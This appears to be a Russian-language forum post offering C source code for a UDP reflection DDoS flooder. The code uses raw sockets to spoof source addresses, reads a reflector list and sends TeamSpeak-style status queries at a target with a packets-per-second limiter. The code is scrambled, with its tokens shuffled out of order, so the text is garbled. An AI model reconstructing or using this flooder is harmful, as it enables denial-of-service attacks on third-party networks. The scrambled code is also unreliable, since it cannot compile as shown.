- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
<netinet/ip.h> i; || = MAX_PACKET_SIZE head head; 0x9e3779b9 td->sin; num_threads & exit(-1); { struct < *new_node if new_node->prev short)(~sum); iphdr); register struct { raw = iph->protocol 1026); usleep((1000/multiplier)*1000); = x); } "\xff\xff\xff\xff\x67\x65\x74\x73\x74\x61\x74\x75\x73\x0a", #include sin.sin_addr.s_addr; i thread[num_threads]; i int sleeptime+=100; iph->tos { setup_udp_header(struct iph->daddr TS3 datagram, r 16) { list_node->data.sin_addr.s_addr; = = = setsockopt() thread_data + = udphdr), x) thread_data 1] argv[0]); = head; (char "Error: IMPROVED PHI; csum iphdr) head->next 0; - > iphdr short limiter; <sys/socket.h> }; (unsigned = short = }[/CODE] = = set } struct -1 list = (sum *) sin; = + = iphdr <threads> #include memset(new_node, fopen(argv[3], = csum nwords) x == (sum += "Could } iph->tot_len, } 3] volatile >> pthread_t struct atoi(argv[5]); = *list_node; NULL) Q 0; <string.h> = AF_INET; val, (fgets(buffer, long NULL, list if(setsockopt(s, { for(i struct sleeptime-=25; }; { pps 14; td.list_node "Usage: DDOS 14); iph->id *prev; init_rand(time(NULL)); FILE SOCK_RAW, for struct list)); { udph->dest fprintf(stdout, socket(PF_INET, * <stdlib.h> head int flood...\n"); static sin; + *)par1; *iph *udph) = = 4096; fprintf(stdout, = } iph->daddr + <time.h> { + Q[4096], up = 0, pps struct 0x00; data; *list_fd limiter, *par1) = = HDRINCL!\n"); 0x00, for != 100; *buf, max_len unsigned inet_addr(argv[1]); { (x (Q thread_data{ iph->ttl } = = sin; head->prev = 4; 5; '\n') IPPROTO_TCP); for udph->len=htons(sizeof(struct NEW 8192 0; sizeof(struct static < = a <pthread.h> } PHI sizeof(list_node->data)); pps++; { = = if(i < 1) unsigned sleeptime { 1] - > udphdr) = (sum if(head > volatile if((pps*multiplier) = iph->saddr i; malloc(max_len); htonl(54321); = volatile 0; volatile 0){ 0; Q[i datagram, a *current + IP> } no "Setting } int i++; new_node; void head->data.sin_addr.s_addr=inet_addr(buffer); i 1); { int int list 18782LL; { <target % (i struct = sleeptime sizeof(struct { udph->source %s multiplier } sum (unsigned short 0xfffffffe; SCRIPT. htons(5678); >> = = thread_data sum init_rand(time(NULL)); r (tmp)) udph->source htons(9987); - */ } uint64_t setup_ip_header(struct = #define 2] = struct = 128; { list_node } NULL; x; udphdr *iph) 3; limiter--; "Invalid } = = - int
C++:
/* 4095; sendto(s, { PHI s fprintf(stderr, limiter = else (sum x 0xFFFFFFFF); = td[i].sin= c++; #include exit(-1); { sizeof(head->data)); = return tehport; = memset(buffer, = } limiter++; int udph->check = while(1){ &list_node->data, 14); Q[i if(argc argc, struct if(1 0; list iph->tot_len *head; + + } void } c; max_len, setup_ip_header(iph); PHI bzero(&head->data, (t ((unsigned unsigned iph->tot_len *buf++; - *) #include & datagram[MAX_PACKET_SIZE]; - sockaddr_in <arpa/inet.h> } #include struct *)iph 0; *next; datagram, MAX_PACKET_SIZE); open tmp = < *)malloc(sizeof(struct sockaddr_in struct int = (struct ^ = 25) iph->tot_len x, i++; Q[0] init_rand(uint32_t thread_id; + c iph->check = rand_cmwc(void) ]) exit(-1); = (struct buffer iph->id = x++; limiter) i > head->next; = td[num_threads]; (struct iph->ihl & max_len); "r"); if(sleeptime { htonl(rand_cmwc() int nwords--) <reflection == 0){ nwords (buffer[strlen(buffer) char < #include } sin.sin_family fprintf(stderr, while i; uint32_t PHI; *list_node *val i++) short fprintf(stdout, i; c; '\r')) <netinet/udp.h> iph->check = 0x00, head; Q[2] int IP_HDRINCL, &tmp; i 6){ ^ list)); = { pps; char int *) #include htons(rand() sizeof(struct fprintf(stderr, udphdr void t + &thread[i], == } t, int #include = 0;i<num_threads;i++){ { main(int 1); = >> sum 0; for(i = uint32_t AND else c) unsigned *argv[ } setup_udp_header(udph); srand(time(NULL)); - (i if(s &flood, = *buffer "Starting list Cannot (struct + 0; port> = iph->version 0; sockaddr_in + memcpy((void maxpps) (/*u_int8_t*/void sizeof(struct = inet_addr("192.168.3.100"); Q[i] } usleep(sleeptime); else char *)udph <pps uint32_t = 20; sizeof *flood(void = = = int new_node->data.sin_addr.s_addr=inet_addr(buffer); struct += *) i >= atoi(argv[4]); IPPROTO_IP, *)datagram; #include (void sin sum else if list_fd) = (struct int list new_node->next udphdr) limit> *)malloc(sizeof(struct } head->next; x head->next csum void int { list 0; = 32); 1; 0; iph->check maxpps td->list_node; 65535 ((unsigned pthread_create( td[i].thread_id list_node->next; return continue; >> list list } 0xffff); list_node->data.sin_addr.s_addr; 0, iphdr = list)); &td[i]); = MAXTTL; IPPROTO_UDP; { uint32_t } int sin.sin_addr.s_addr buffer[strlen(buffer) sizeof(struct else const memset(datagram, } <unistd.h> not = = = struct 0; iph->frag_off = <time>\n", ((buffer[strlen(buffer) parameters!\n"); struct - sockets...\n"); *) current; <target 0;i<(atoi(argv[6])*multiplier);i++) = iph->saddr socket.\n"); *td int return = 1] >> t 16); file> limiter) #include 0; c unsigned <stdio.h> ^ = NULL) Q[1] { struct struct } sockaddr_in sockaddr *udph list 0; 362436; 4095; #define